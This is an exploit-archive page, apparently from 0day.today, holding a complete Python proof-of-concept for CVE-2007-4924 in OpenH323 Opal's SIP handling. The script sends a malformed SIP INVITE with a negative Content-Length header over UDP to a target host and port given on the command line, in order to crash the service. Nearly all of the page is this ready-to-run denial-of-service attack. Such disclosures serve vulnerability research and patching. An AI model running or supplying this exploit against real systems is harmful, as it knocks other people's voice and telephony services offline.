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OpenH323 Opal SIP Protocol Remote Denial of Service Exploit
[===========================================================
OpenH323 Opal SIP Protocol Remote Denial of Service Exploit
===========================================================
#!/usr/bin/env python
#
# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924)
#
# opal228_dos.py by Jose Miguel Esparza
# 2007-10-08 S21sec labs
import sys,socket
if len(sys.argv) != 3:
sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE sip:paco@192.168.1.134 SIP/2.0\r\n"+\
"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
"Contact:sip:pepe@192.168.1.133:5060\r\n"+\
"Content-Length:-40999990\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:pepe@192.168.1.133:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:paco@micasa.com\r\n"+\
"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()
# 0day.today [2024-11-16] #